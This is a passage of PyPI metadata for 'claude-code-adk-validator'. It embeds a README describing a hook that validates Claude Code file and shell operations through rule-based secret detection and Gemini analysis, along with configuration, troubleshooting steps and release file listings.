positives:\n\n- **Word boundaries**: Prevents matching variable names like `GEMINI_API_KEY`\n- **Placeholder exclusion**: Ignores `YOUR_API_KEY`, `<SECRET>`, etc.\n- **Quoted value requirements**: Focuses on actual string assignments\n- **Minimum length**: Requires 20+ characters for generic secrets\n- **Specific formats**: Detects AWS keys, JWTs, GitHub tokens directly\n\n### ADK Integration Patterns\n\nFollowing Google ADK `before_tool_callback` methodology:\n\n```python\ndef before_tool_callback(self, tool_request: dict) -> Optional[dict]:\n    \"\"\"ADK-inspired validation returning None (allow) or error dict (block)\"\"\"\n    validation_result = self.validate_tool_use(tool_name, tool_input, context)\n    return None if validation_result[\"approved\"] else {\"error\": validation_result[\"reason\"]}\n```\n\n## Configuration\n\n### Environment Variables\n- `GEMINI_API_KEY`: Required for Gemini API access\n- Missing key allows all operations (fail-safe mode)\n\n### Hook Configuration\n- **Matcher**: `Write|Edit|Bash|MultiEdit|Update` - Tools to validate\n- **Timeout**: 8000ms - Adequate for file upload analysis\n- **Command**: Full path to validator script\n\n### Model Settings\n- **Model**: `gemini-2.5-flash` - Optimized for speed and accuracy\n- **Thinking Budget**: 24576 tokens for complex reasoning\n- **Structured Output**: JSON schema validation via Pydantic\n\n## Development\n\n### Project Structure\n```\nclaude-code-adk-validator/\n   claude_code_adk_validator/\n      __init__.py               # Package metadata\n      main.py                   # CLI entry point\n      validator.py              # Main validation engine\n      hook_response.py          # Advanced JSON response models\n      context_analyzer.py       # Context-aware intelligence\n      file_storage.py           # Persistent test result storage (NEW v1.2.1)\n      pytest_reporter.py       # Pytest result capture plugin (NEW v1.2.1)\n      python_env_detector.py   # Virtual environment detection\n      validators/               # Modular validation pipeline\n         security_validator.py  # Security + context awareness\n         tdd_validator.py       # Python TDD enforcement with FileStorage\n         file_analysis_validator.py # Enhanced file scanning\n      prompts/                  # Python-specific TDD prompts (NEW v1.2.1)\n         tdd_core_principles.py # Core TDD principles and patterns\n         write_analysis.py      # Write operation analysis prompts\n         edit_analysis.py       # Edit operation analysis prompts\n         python_error_mappings.py # Python error interpretation\n   tests/\n      test_validation.py        # Core validation tests (27 scenarios)\n      test_tdd_e2e.py          # End-to-end TDD tests (NEW v1.2.1)\n      test_file_storage.py     # FileStorage tests (NEW v1.2.1)\n      test_pytest_reporter.py  # Pytest reporter tests (NEW v1.2.1)\n      test_python_env_detector.py # Environment detector tests (NEW v1.2.1)\n      test_hook_chaining.py     # Hook chaining tests\n      test_advanced_responses.py # JSON response tests\n      test_context_aware_responses.py # Context intelligence tests\n      test_integration_advanced_features.py # Integration tests\n   .github/\n      workflows/               # CI/CD automation\n   pyproject.toml              # Package configuration\n   CLAUDE.md                   # Development guidance\n   CONTRIBUTING.md             # Contribution guidelines\n   LICENSE                     # MIT License\n   README.md                   # This file\n```\n\n### Adding New Security Patterns\n\n1. **Rule-based patterns** (Tier 1): Add to `validate_bash_command()` or `validate_file_operation()`\n2. **LLM analysis** (Tier 2): Update validation prompt in `build_validation_prompt()`\n3. **File analysis** (Tier 3): Enhance `analyze_uploaded_file()` prompt\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.\n\n## Contributing\n\n1. Follow existing code patterns and security principles\n2. Add tests for new validation patterns in `tests/`\n3. Run quality checks: `uvx ruff`, `uvx mypy`, `uvx black`\n4. Update documentation for new features\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md) for detailed contribution guidelines.\n\n## Security Considerations\n\n- **Fail-safe**: Missing API key allows operations (prevents lockout)\n- **Performance**: Quick validation for common patterns\n- **Privacy**: Temporary files cleaned up after analysis\n- **Reliability**: Structured output prevents parsing errors\n- **Precision**: Improved secret detection reduces false positives\n\n## Recent Improvements\n\n### TDD Validation Enhancement v1.2.1 (Latest)\n\n#### \ud83d\uddc4\ufe0f FileStorage-Based Architecture\n- **Persistent test result storage**: Uses FileStorage instead of real-time pytest execution\n- **Improved reliability**: Decouples validation from pytest execution timing\n- **Better error handling**: Graceful fallback to rule-based validation\n- **Performance optimization**: Avoids expensive pytest subprocess calls\n\n#### \ud83d\udc0d Python-Specific TDD Prompts\n- **Advanced prompt system**: Specialized prompts in `prompts/` directory\n- **Core TDD principles**: Comprehensive TDD patterns and error mappings\n- **Operation-specific analysis**: Different prompts for Write vs Edit operations\n- **Python error interpretation**: Maps Python errors to TDD violations\n\n#### \ud83d\udcca Enhanced Pytest Integration\n- **Pytest reporter plugin**: Captures test results via `pytest_reporter.py`\n- **TDD Guard format**: Formats test results similar to tdd-guard output\n- **Virtual environment detection**: Automatically detects project environments\n- **Test result processing**: Structured analysis of pytest JSON output\n\n#### \ud83e\uddea Comprehensive Testing Infrastructure\n- **End-to-end TDD tests**: `test_tdd_e2e.py` for complete workflow validation\n- **FileStorage tests**: `test_file_storage.py` for storage functionality\n- **Pytest reporter tests**: `test_pytest_reporter.py` for plugin validation\n- **Environment detector tests**: `test_python_env_detector.py` for venv detection\n- **Quality assurance**: All tests pass with mypy, black, and ruff compliance\n\n### Enhanced Secret Detection (v1.2)\n- Added word boundaries to prevent false positives on variable names\n- Implemented placeholder exclusion for documentation examples\n- Focus on quoted values for generic secret patterns\n- Added specific patterns for AWS, GitHub, Stripe, Slack tokens\n- Reduced false positives while maintaining security coverage\n\n## Troubleshooting\n\n### Hooks Not Triggering\nIf the validator isn't blocking operations:\n\n1. **Check global settings**: Ensure `~/.claude/settings.json` has the hook configuration\n2. **Check local overrides**: Look for `.claude/settings.local.json` which may override global settings\n3. **Restart Claude Code**: Hook configuration changes require restart\n4. **Test manually**: Verify the validator works directly:\n   ```bash\n   # Create test JSON file\n   echo '{\"tool_name\":\"Write\",\"tool_input\":{\"file_path\":\"test.py\",\"content\":\"def foo():\\\\n    pass\"}}' > test.json\n   cat test.json | uv run python -m claude_code_adk_validator --stage=tdd\n   # Should output: \"TDD Violation: Creating implementation without visible test output. Write tests first!\"\n   ```\n\n### Common Error Messages\n- **\"Invalid JSON input\"**: Check JSON escaping in hook commands\n- **\"GEMINI_API_KEY not configured\"**: Set environment variable for LLM features\n- **\"Tool enforcement violation\"**: Use suggested modern alternatives (rg, uv)\n\n### Performance Issues\n- **Rule-based only**: ~1.3 seconds (fast)\n- **With LLM analysis**: ~4 seconds (defense-in-depth)\n- **Disable LLM**: Remove `GEMINI_API_KEY` for faster validation\n\n## License\n\nMIT License - See LICENSE file for details",
    "bugtrack_url": null,
    "license": null,
    "summary": "Advanced multi-stage validation system for Claude Code with hook chaining, context intelligence, and structured JSON responses",
    "version": "1.2.10",
    "project_urls": {
        "Documentation": "https://github.com/jihunkim0/jk-hooks-gemini-challenge#readme",
        "Homepage": "https://github.com/jihunkim0/jk-hooks-gemini-challenge",
        "Issues": "https://github.com/jihunkim0/jk-hooks-gemini-challenge/issues",
        "Repository": "https://github.com/jihunkim0/jk-hooks-gemini-challenge.git"
    },
    "split_keywords": [
        "adk",
        " ai-safety",
        " claude-code",
        " context-aware",
        " gemini",
        " hook-chaining",
        " hooks",
        " multi-stage",
        " security",
        " structured-responses",
        " validation"
    ],
    "urls": [
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "8ea8c7bb3a3a3e9df068c80898004502c3f18d9ee96c781fe2f716e7c530f18b",
                "md5": "915f3375cc0ad87370496f3d86a2ef93",
                "sha256": "6769efb72c4228af04b35175c8bac2dfc1112ff899a49a835e54c11b43b61082"
            },
            "downloads": -1,
            "filename": "claude_code_adk_validator-1.2.10-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "915f3375cc0ad87370496f3d86a2ef93",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.10",
            "size": 57912,
            "upload_time": "2025-07-16T15:55:44",
            "upload_time_iso_8601": "2025-07-16T15:55:44.940053Z",
            "url": "https://files.pythonhosted.org/packages/8e/a8/c7bb3a3a3e9df068c80898004502c3f18d9ee96c781fe2f716e7c530f18b/claude_code_adk_validator-1.2.10-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "456f4019d26d67f02442d20bf66fc6f75164e59da3697a6a29c169eba450692e",
                "md5": "f3fc8e480d26c41506060f13ded017c6",
                "sha256": "bc16c8e155d610fb7f97a492a434671d41d298404c53e46f088b380498b1dcfc"
            },
            "downloads": -1,
            "filename": "claude_code_adk_validator-1.2.10.tar.gz",
            "has_sig": false,
            "md5_digest": "f3fc8e480d26c41506060f13ded017c6",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.10",
            "size": 104775,
            "upload_time": "2025-07-16T15:55:45",
            "upload_time_iso_8601": "2025-07-16T15:55:45.945161Z",
            "url": "https://files.pythonhosted.org/packages/45/6f/4019d26d67f02442d20bf66fc6f75164e59da3697a6a29c169eba450692e/claude_code_adk_validator-1.2.10.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2025-07-16 15:55:45",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "jihunkim0",
    "github_project": "jk-hooks-gemini-challenge#readme",
    "github_not_found": true,
    "lcname": "claude-code-adk-validator"
}
        
Elapsed time: 0.42575s